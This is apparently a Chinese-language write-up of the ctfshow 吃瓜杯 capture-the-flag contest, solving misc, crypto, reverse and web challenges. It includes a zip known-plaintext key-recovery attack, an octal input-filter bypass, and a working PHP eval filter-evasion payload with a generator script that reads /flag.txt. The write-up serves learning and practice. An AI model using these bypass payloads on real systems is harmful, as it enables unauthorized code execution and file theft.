CTFshow 吃瓜杯

比赛名称:ctfshow 吃瓜杯
题目范围:web pwn re misc crypto
题目难度:怎么简单怎么来
比赛奖励:ctfshow定制鼠标垫或萌妹手办
比赛时间:2021年8月14日(周六) 晚 7点7分
比赛时长:48小时
比赛地址:https://ctf.show/challenges


MISC

Misc游戏签到

运气与策略运气的游戏。值得注意的是,第一局出现必输的情况是正常的,并且概率较低,这能表明您在七夕这个节日真的非常欧,这边建议去抽卡。所以说本题没有策略,只有运气。

地址: 移步去备用题,flag就在这交

运气游戏,写个循环脚本跑出分段flag。

Dinner of Cyanogen

给了两个docx,一个未加密,另一个加密。

在未加密docx得到flag第一段;

发现其中的 [Content_Types].xml 大小相同,上明文攻击:

rbkcrack.exe -C AnotherLetter.zip -c "[Content_Types].xml" -p "[Content_Types].xml"

得到3-key,再用7z工具解压:

7za x AnotherLetter.zip '-p[3b982977_2706fd64_6d6a5135]' -oout

flag.xml 得到flag第二段;

word.xml 分别用0/1代替Wingdings两种字体,转字符串得到flag第三段。

xl的本质

Excel 2007(.xlsx)文件本质是压缩包。

新建一个excel,插入绘图,保存退出。

替换其中 xl/drawing 目录下的 drawing.xml 为题目给的xml文件,再打开xlsx文件看到flag图片。

吃瓜

jpg改为zip解压,文件为base64图片,浏览器打开得到二维码,扫码得栅栏密码,枚举栏数(栏数=2)解密得flag。

魔王

需要自己包上ctfshow{}

题目有很多误导,小心点哦

w3x为魔兽争霸地图文件,直接找到地图查看工具 War3 Model Editor,找到flag字符串。

CRYPTO

闪电五连鞭·一鞭

朋友们好。

今天,和大家,探讨一下,怎样打RSA置换闪电鞭。

要做到三点。

一:要做到问题真正的放松。但是线性代数基本知识要用好。这里面,该松的松,该紧的紧。松中有紧,紧中有松。这个问题非常复杂,在这里不多说。在问题的描述中有详细的解释;

二:要练好内功,你才能代码中发力,打出RSA置换劲儿。慢练,这是签到的……快练!下合上开,上合下开!所以,这个RSA置换劲儿啊……这个RSA和置换都在动啊……

三:要用高维的RSA置换劲儿,才能打出RSA置换闪电鞭。因为这个鞭的劲儿,你看……是不是,你看……都是高维的啊……

下面我打一个连五鞭啊……打了五鞭:一鞭,两鞭,三鞭,四鞭,五鞭。这五鞭要连次打,你看:实战时间,一定要动武,全身松好,用高维的劲,RSA置换劲儿!才能打出flag,打出RSA置换闪电鞭!

谢谢朋友们。

1
2
3
4
5
6
7
import gmpy2
n = 8870619487339789349033932217513908953609539651949986489986889710933094577873155191810742828503059670650154455297603719
c = 6940158573485767169443582872275118843545217792197971962103010557916847970940437712181778807436191892307187137338300231

d = gmpy2.invert(3, euler_phi(n))
m = pow(c, d, n)
bytes.fromhex(hex(m)[2:])

闪电五连鞭·二鞭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import random
import gmpy2
random.seed(0x36D)
n = 3950848271664122675439855009329233027357977239695163232943132810210035583520735079984423511153607529820284200137188647

Zn = Zmod(n)
P = PermutationGroupElement('(1,14,25,8,23,15)(2,22,17)(3,18,13,33,11,30,26,27,10,6,16,31,28,21,29,36,7,9)(4,35,12,32,20,5,24)(19,34)')
P = Matrix(Zn, P.matrix())
A = Matrix(Zn, 36, 36, lambda x, y: random.randint(0, 0x36D))
B = A * P * A^-1
c = [...]
C = []
for i in range(36):
C.append(c[i*36:(i+1)*36])
C = Matrix(Zn, C)
B_inv = B^3
C_new = C / B_inv
cc = C_new[0][0]

d = gmpy2.invert(3, euler_phi(n))
m = pow(cc, d, n)
bytes.fromhex(hex(m)[2:])

闪电五连鞭·三鞭

1
2
3
4
5
6
7
8
9
10
11
12
# BB = B^3
# BB_inv = BB^(-1)
# CC = C * BB_inv

import gmpy2
n = 25126409997644048715497037905442671105116158875704245711785280791201683049008805107543997350200944348915833337286069203
cc = 2440870830361488333405717893137622686904829095539256446436231771058787790530861000815874544642875904753470292396055730
cc = (cc * gmpy2.invert(36, n)) % n

d = gmpy2.invert(3, euler_phi(n))
m = pow(cc, d, n)
bytes.fromhex(hex(m)[2:])

闪电五连鞭·四鞭

1
2
3
4
5
6
7
8
9
10
11
12
13
# BB = B^17
# BB_inv = BB^(-1)
# CC = C * BB_inv
# I.trace() = 88

import gmpy2
n = 8832564044541326030658929702316436880591014904231676570839678873603730471484972295046612326549001678639811100026511993
cc = 5298954238197992022282643920507107154250709069597164746868432885002292554976622438394424965260846005857405245601483810
cc = (cc * gmpy2.invert(88, n)) % n

d = gmpy2.invert(17, euler_phi(n))
m = pow(cc, d, n)
bytes.fromhex(hex(m)[2:])

大鸟转转转

为响应群主“怎么简单怎么来”的号召,特补上一道古典密码。

明文密文都是大写字母。

请解出正确的明文后,把明文转换成小写,并加上格式所包含的花括号。

Engima密码机。

python反序列化:

1
2
3
4
5
import pickle
x = pickle.load(open('nimage.pickle', 'rb'))
print(x)

#{'UMKEHRWALZE': 'B', 'WALZENLAGE': '123', 'GRUNDSTELLUNG': 'WYF', 'RINGSTELLUNG': '???', 'STECKERVERBINDUNGEN': ['WO', 'DE', 'JB', 'HN', 'XI'], 'KLARTEXT': 'CTFSHOW?????????????????????????????', 'GEHEIMTEXT': 'MXKXBTIOOZHFTGGTTPTRNXJUGASUTVBNSNGS'}

尝试用全脚本解密得到的结果有问题,再用pycipher工具解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pycipher import Enigma
import string
dic = string.ascii_uppercase

for x in dic:
for y in dic:
for z in dic:
eng = Enigma(settings=('W','Y','F'),rotors=(1,2,3),reflector='B',
ringstellung=(x,y,z),steckers=[('W','O'),('D','E'),
('J','B'),('H','N'),('X','I')])
flag = eng.decipher('MXKXBTIOOZHFTGGTTPTRNXJUGASUTVBNSNGS')
if flag.startswith('CTFSHOW'):
print((x,y,z),flag.lower())

REVERSE

Tea_tube_pot

三点几嚟,饮茶先啦!(给大佬递茶.jpg)

flag分三部分。

第一部分 TEA加密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def decrypt(v, k):
v0 = v[0]
v1 = v[1]
x = 0x9E3779B9 * 32
delta = 0x9E3779B9
k0 = k[0]
k1 = k[1]
k2 = k[2]
k3 = k[3]
for i in range(32):
v1 -= ((v0 << 4) + k2) ^ (v0 + x) ^ ((v0 >> 5) + k3)
v1 = v1 & 0xFFFFFFFF
v0 -= ((v1 << 4) + k0) ^ (v1 + x) ^ ((v1 >> 5) + k1)
v0 = v0 & 0xFFFFFFFF
x -= delta
x = x & 0xFFFFFFFF
v[0] = v0
v[1] = v1
return v
if __name__ == '__main__':
encrypted = [0x5FD744F6,0x95832046]
key = [0x73696854, 0x5F73695F, 0x74616574, 0x21656275]
decrypted = decrypt(encrypted, key)
print(bytes.fromhex(hex(decrypted[1])[2:]+hex(decrypted[0])[2:])[::-1])

# ENCrT1ny

第二部分 XTEA加密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def decrypt(rounds, v, k):
v0 = v[0]
v1 = v[1]
delta = 0x9E3779B9
x = delta * rounds
for i in range(rounds):
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (x + k[(x >> 11) & 3])
v1 = v1 & 0xFFFFFFFF
x -= delta
x = x & 0xFFFFFFFF
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (x + k[x & 3])
v0 = v0 & 0xFFFFFFFF
v[0] = v0
v[1] = v1
return v
if __name__ == '__main__':
encrypted = [0xFD731313, 0x6662CB90]
key = [0x73696854, 0x5F73695F, 0x74616574, 0x21656275]
rounds = 32
decrypted = decrypt(rounds, encrypted, key)
print(bytes.fromhex(hex(decrypted[1])[2:]+hex(decrypted[0])[2:])[::-1])

# yPti0nA1

第三部分 XXTEA加密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def shift(z, y, x, k, p, e):
return ((((z >> 5) ^ (y << 2)) + ((y >> 3) ^ (z << 4))) ^ ((x ^ y) + (k[(p & 3) ^ e] ^ z)))
def decrypt(v, k):
delta = 0x9E3779B9
n = len(v)
rounds = 6 + 52 // n
x = (rounds * delta) & 0xFFFFFFFF
y = v[0]
for i in range(rounds):
e = (x >> 2) & 3
for p in range(n - 1, 0, -1):
z = v[p - 1]
v[p] = (v[p] - shift(z, y, x, k, p, e)) & 0xFFFFFFFF
y = v[p]
p -= 1
z = v[n - 1]
v[0] = (v[0] - shift(z, y, x, k, p, e)) & 0xFFFFFFFF
y = v[0]
x = (x - delta) & 0xFFFFFFFF
return v
if __name__ == '__main__':
encrypted = [0x4B136C82, 0x1A6E9613]
key = [0x73696854, 0x5F73695F, 0x74616574, 0x21656275]
decrypted = decrypt(encrypted, key)
print(bytes.fromhex(hex(decrypted[1])[2:]+hex(decrypted[0])[2:])[::-1])

# 9ori7hM!

PWN

wuqian

ROP x64签到。然后签退。

WEB

热身

最简单的签到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

八进制绕过,前面加个字符:?num=%0a010574

shellme

还是熟悉的感觉

phpinfo页面直接搜flag,很熟悉。

shellme_Revenge

由于上个题有严重的非预期,我的锅,在此给师傅们道歉了

cookie 看到 hint=looklook,访问 ?looklook=1 得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);
if ($_GET['looklook']){
highlight_file(__FILE__);
}else{
setcookie("hint", "?looklook", time()+3600);
}
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) || strlen($ctfshow) <= 107) {
if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/",$ctfshow)){
eval($ctfshow);
}else{
echo("fucccc hacker!!");
}
}
} else {

phpinfo();
}
?>

禁用了很多 RCE 绕过姿势,未禁用 $+_;?()[]<>、字母C 和数字0-3,尝试用截断输出内容,用PHP自增特性生成其他字母:

1
2
3
4
5
$_=[];?><?=$_ //真Array
$_=([].C);?><?=$_ //字符串ArrayC
$_=([].C)[3];?><?=$_ //字母a
$_=([].C)[3];$_++;?><?=$_ //字母b
......

根据PHP拼接特性,将需要的关键字拆分成字母,用自增特性生成,按照字母序生成可节省payload长度。

payload生成脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# payload: xxxxxx?><?=($_GET[0])($_GET[1]);

alpha = list(set(need))
alpha.sort()
print(alpha)
greece = 'α β γ δ ε ζ ν ξ ο π ρ σ η θ ι κ λ μ τ υ φ χ ψ ω Γ Δ'.split(' ')

out = '$_=C;'
cnt = ord('C')

for k in alpha:
if ord(k)-ord('C') in range(26):
now_php = ''
for i in range(ord(k)-cnt):
now_php += '$_++;'
cnt += 1
icon = greece[ord(k)-ord('C')]
now_php += f'${icon}=$_;'
out += now_php

func = []
for k in need:
if ord(k)-ord('C') in range(26):
icon = greece[ord(k)-ord('C')]
func += [f'${icon}']
else:
func += [k]
func = '.'.join(func)
print(func)

payload = f'{out}?><?=(${{_.{func}}}[0])(${{_.{func}}}[1]);'
print(payload)

POST:

1
2
ctf_show = 
$_=([].C)[3];$α=$_;$_++;$_++;$_++;$_++;$ε=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$σ=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$χ=$_;$β=$ε.$χ.$α.$σ;$_=C;$_++;$_++;$γ=$_;$_++;$_++;$ε=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$μ=$_;(${_.$ε.$γ.$μ}[0])(${_.$ε.$γ.$μ}[1]);

GET:

?looklook=1&0=file_get_contents&1=/flag.txt